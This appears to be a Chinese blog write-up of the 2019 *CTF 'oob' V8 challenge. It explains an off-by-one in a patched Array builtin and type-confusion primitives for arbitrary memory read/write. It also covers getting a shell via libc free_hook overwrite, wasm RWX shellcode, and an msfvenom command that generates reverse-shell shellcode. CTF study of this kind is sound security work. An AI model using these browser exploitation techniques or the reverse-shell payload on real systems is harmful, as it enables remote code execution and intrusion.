V8 重新入门-2019 starCTF oob 题解
一年多前调试的V8的题目了,都忘光了,只记得用了类型混淆,难搞,准备看之前做2019年的*ctf的oob这道题目重新入门一下(这个题解之前的博客上有,但是因为我重新弄了一个博客图床变了,有时间再全迁移到新的上面),不知道V8又多了什么保护机制啥的。
编译V8
额,编译V8
就是个大坑。。。
V8
是chrome
中的JS
解释器,经过v8
编译之后的可执行文件为d8
。下载源码的过程需要连接外网,因此可以通过设置代理或者直接在云服务器上操作。
首先安装一些之后用到的工具
1 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git |
接下来就是下载源码
1 | mkdir v8 |
下载源码过程中中断的话,可以使用gclient syc
继续下载。
这里我使用的是主机的代理,在系统选项中设置好即可(
all_proxy
环境变量设置)。但是gclinet syc
中的某些命令在设置完代理之后也无法连接download_from_google_storage.py
中的下载改写为调用wget
下载(改写后的脚本)
在编译之前需要将源码的版本reset
到和题目一致的版本,并将题目给出的diff
文件应用到源码中
1 | git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 |
编译
1 | sudo tools/dev/v8gen.py x64.debug |
这里编译时出现了错误
应该是gcc/libc
版本的问题,在ubuntu 16.04
成功编译。
调试V8
V8
的官方团队编写了调试V8
用的gdbinit
,位于tools
目录之下,在gdbinit
中添加source
1 | source /home/pwn/Desktop/v8/v8-source/v8/tools/gdbinit |
在调试时使用allow-natives-syntax
能够定义一些V8
运行时支持的函数,便于调试。一般调试为gdb ./d8;set args --allow-natives-syntax ./test.js
。使用%DebugPrint(var)
来输出变量的详细信息,使用%SystemBreak()
触发调试中断。job
可以可视化的显示JS
对象的内存结构,telescope addr [count]
可用来输出addr
地址之后count
长度的内存数据。这里需要注意的是在release
版本下没有调试符号没办法调用job
命令。编写一个test.js
用来调试
1 | var a = [1,2,3]; |
gdb
运行d8
首先打印出了变量a
的内存地址,接着进入了第一次调试。我们看一下a
的内存结构
1 | pwndbg> job 0x3d31081081d5 |
其中map
表示了当前结构体的类型,elements
表示对象元素,存储数据的地方,length
表示元素的个数,properties
为属性。这里需要注意的是V8
中只有数字和对象两种结构,为了区分二者,V8
在所有的对象的内存地址的末尾都加了1
。因此该对象的内存地址为0x3d31081081d4
。
1 | pwndbg> c |
int
类型和double
类型的数组的数据结构相似,elements
对象的地址就在array
结构的不远处。下面再看看对象数组的结构体
1 | pwndbg> c |
我们可以看到在elements
中存储的是两个数组的地址。从上面的分析中我们可以得到不同类型数组的map
值是不同的。存储数据的elements
对象的地址在数组地址之前,可见首先是分配了存储数据的elements
对象,在分配了结构体的内存。
V8对象结构
1 | elements------->MAP |
漏洞分析
浏览器的CTF
一般会采用两种方式,一种是直接给出一个cve
漏洞,另一个就是给出一个diff
文件,这需要我们自己去下载commit
的源码,编译得到diff
补丁过的浏览器程序。oob
就给出了一个diff
文件,这个我们已经编译完成。下面我们分析一下diff
文件。
首先先是注册了oob
函数,在内部表示为kArrayOob
1 | diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc |
接着实现了具体的oob
函数
1 | diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc |
后面的代码将该函数与kArrayOob
关联起来。我们主要分析一下oob
函数的实现。因为C++
成员变量的第一个参数一定是this
指针。因此当函数的参数大于1
的时候直接返回,当参数没有参数的时候返回length
地址处的内容,当参数等于1
的时候将第一个参数写入数组的第length
位置。
由于数组是从0
开始计数的,因此写入第length
个位置的时候就存在off-by-one
漏洞。
1 | var a = [1,2.2,3]; |
运行到第二次调试之后
我们可以看到数组存储数据的elements
的第length
个数据已经被改写为了参数1
的浮点类型。并且可以注意到此时覆写的恰好就是数组结构的MAP
类型。同时如果将a.oob()
输出的浮点值转换为16
进制可以得知其就是MAP
的值,也就是可以任意读写MAP
的属性值。
只有浮点类型的数组,数组结构和elements的结构相邻
漏洞利用
从上述我们可以任意读写数组结构的MAP
值,我们可以利用”类型混淆”漏洞。即利用oob
将A
类型的MAP
值读取出来并写入到B
类型的MAP
区域中,就会导致B
对象变成了A
对象的数据类型,V8
就会按照处理A
对象的方法处理B
对象的相关数据和结构体。
当我们将一个对象数组B
的类型改写为浮点类型数据的时候,访问B[0]
返回的就是B[0]
对象的内存地址了;同理当我们将浮点类型数组A
改写为对象数组的时候,访问A[0]
就是以A[0]
为内存地址的一个JS
对象了。
编写addressOf和fakeObject
要编写的两个功能原语addressOf
用来泄露某个对象的地址,fakeObject
则将一个内存地址伪造为一个对象。
首先定义两个全局对象,获取其对象的MAP
值
1 | var obj = {"a": 1}; |
接着是泄露指定对象地址的addressOf
函数,这里注意的是我们得到的数据都是浮点类型的数据,而我们需要的是内存中的16
进制的数据,因此需要编写转换函数
1 | var buf =new ArrayBuffer(16); |
接着是将给定内存地址伪造为指定JS
对象的fakeObject
,这里只需要修改MAP
值就可以了。
1 | // 把某个地址转换为对象 |
这里需要注意的是V8
会给对象的内存地址+1
,因此我们获取得到的对象地址需要-1
,在写入是需要将内存地址+1
。
获取任意内存读写
如何凭借上面两个函数实现内存的任意读写呢。如果我们在一块内存区域内布置上伪造的数据结构,通过fakeObject
将其强制转换为一个数组对象,由于elements
指针是我们可控的,如果我们将该指针修改为我们想要访问的内存地址,后续对该数组对象的访问即为对修改后的内存地址指向的内存区域的访问,也就实现了内存的任意读写。
具体的构造如下,首先我们先创建一个浮点类型的数组对象float_array
,可以用addressOf
函数来泄露float_array
的地址,然后通过elements
地址与fake_array
结构地址之前的关系即address_elements = address_array - (0x10 + n*8)
,其中n
为数组中元素的个数,既可以到的elements
的地址。elements+0x10
是elements
中存储数据的区域。
1 | var fake_array = [ |
在得到elements+0x10
即数据存储区域的地址之后可以利用fakeObject
将该部分的内存区域强制转换为对象fake_object
,之后我们访问对象fake_object[0]
即访问的就是0x41414141+0x10
指向的内存地址。任意内存读写的功能原语如下
1 | var fake_array = [ |
测试一下代码发现已经可以任意读写
由于后续写入利用浮点类型数组写入会导致地址的低位被修改而无法正常写入,还可以利用DataView
对象。DataView
对象的backing_store
会指向申请的data_buf
,将该指针修改为我们想要任意写的内存地址,利用setBigUint64
方法即可写入数据
1 | var data_buf = new ArrayBuffer(8); |
Getshell
在传统的pwn
中我们通过泄露出libc
基址,计算出free_hook,malloc_hook
,利用任意写将hook
函数修改为system,one_gadget
的地址从而实现getshell
。这种思路在v8
中也同样可以使用
此外,v8
中还有一种webassembly
即wasm
技术,使得v8
可以直接执行其他高级语言生成的机器码,加快运行效率,存储wasm
的内存页是rwx
权限的,因此我们可以将shellcode
写入到原本属于wasm
的内存页中,后续在调用wasm
函数接口的时候,实际上就是调用了我们部署的shellcode
。
传统的堆利用思路
现在已经实现了内存任意写,后面就是泄露libc
地址了。
随机泄露
我们用telescope
查看JS
对象很远的内存区域
1 | pwndbg> telescope 0x000008d78aa0f9c0-0x8000 0x500 |
在距离JS
对象很远内存区域中一定会存在d8 binary
中的指令。而无论ASLR
带来的地址如何随机化,其低地址的三个字节一定是0xe40
,地址中存储的内容也一定会是0x56415741e5894855
。
因此只要我们从JS
对象的起始地址向低地址处搜索,每次读取8
字节内容,如果低3
字节的内容为0xe40
,且该地址处存储的内容为0x56415741e5894855
,则判断该地址即为d8
中指令的地址了。获取地址的代码如下
1 | var a = [1.1, 2.2, 3.3]; |
运行结果如下
那么在获取得到d8
的指令地址之后,我们就可以计算出d8
的基址,读取got
表中的malloc,free
的地址获取libc
基址,覆盖free_hook/malloc_hook
为system/one_gadget
即可以getshell
。需要注意的是这里借助DataView
实现地址写入。
1 | // libc2.31 |
由于v8
在退出的时候会进行各种各样的free
操作,因此一定会触发free
。但是此时参数是不可控的,因此我们需要申请一个局部buffer
,然后释放从而触发free
1 | function get_shell() |
最终可以成功getshell
稳定泄露
在dbug
版本中Array->MAP->constructor->code
内存的固定偏移处存储了v8
二进制中特定的函数调用
我们看到存在一个Builtins_ArrayConstructor
函数的调用。在debug
版本中,该函数的地址位于libv8.so
中。而在release
版本中,在调试中发现MAP
结构中并没有存储constructor
的地址,而是在数据结构+0x28
位置。
我们看到release
版本中存储的Builtins_ArrayConstructor
函数调用位于d8
中,因此我们就可以泄露出d8
中的指令的地址,之后的getshell
与随机泄露中相同。
getshell
的脚本如下
1 | //libc2.31 |
最终getshell
wasm Getshell
wasm
从安全性上不允许通过浏览器直接调用系统函数,只能运行数学计算,图像处理等系统无关的高级语言代码。因此我们需要将原来wasm
可执行内存空间中的代码替换为shellcode
,进而执行。
可以从这个网站在线生成wasm
的代码,调试的代码如下
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
我们可以通过Function_Object-->shared_info-->data-->instance
,通过instance+0x88
既可以找到wasm
的可执行内存页的地址
寻找上面的地址泄露逻辑,可执行内存地址的泄露代码如下
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
可以成功的泄露可执行内存页的地址
因此后续我们将shellcode
写入这个地址就可以在调用wasm
函数接口的时候触发我们的shellcode
了。shellcode
可以在exploit-db
中寻找
1 | /* /bin/sh for linux x64 |
最终可以getshell
反弹shell
可以用msfvenom
来生成反弹shell
的shellcode
1 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=3389 -f python -o ~/Desktop/shellcode.txt |
1 | def shell2x64(shellcode): |
最终监听3389
端口getshell
最终脚本如下`
1 | var obj = {"a": 1}; |